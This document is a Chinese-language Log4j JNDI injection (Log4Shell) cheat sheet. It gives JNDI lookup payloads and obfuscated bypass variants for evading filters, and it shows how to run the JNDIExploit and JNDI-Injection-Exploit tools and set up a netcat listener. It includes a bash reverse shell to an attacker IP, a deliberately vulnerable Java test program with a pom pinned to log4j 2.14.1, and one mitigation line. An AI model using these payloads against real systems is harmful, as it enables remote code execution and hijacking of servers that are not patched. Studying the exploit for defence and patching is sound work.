Log4j-JNDI注入RCE

${jndi:ldap://xxx.dnslog.cn/exp}

# Bypass
${j${lower:n}di:l${lower:d}ap://xxx.dnslog.cn/exp}

$ nc -lvnp <Port>

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <IP>
# -l <LDAP_Port> , 默认1389
# -p <HTTP_Port> , 默认8080

# 触发: 通过cmd参数传递命令
${jndi:ldap://<IP>:<LDAP_Port>/TomcatBypass/TomcatEcho}

# 反弹Shell
/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<NC_Port> 0>&1'

# bash -i >& /dev/tcp/<VPS_IP>/<Port> 0>&1  # Base64编码

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<编码字符串>" -A "<VPS_IP>"

# 触发
${jndi:rmi://<IP>:<Port>/xxxxxx

${jndi:ldap://127.0.0.1:1389/ badClassName}

${jndi:ldap://127.0.0.1}

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
    <JDBC name="databaseAppender" tableName="dbo.application_log">
             <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
         <Column ...
    </JDBC>
 </Appenders>
...
</Configuration>

<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>

${lower:test}
${upper:qwer}
${hostName}     # 主机名
${java:version} # Java版本
${java:vm}
${java:runtime}

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<CMD>" -A <IP>

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

</project>

$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class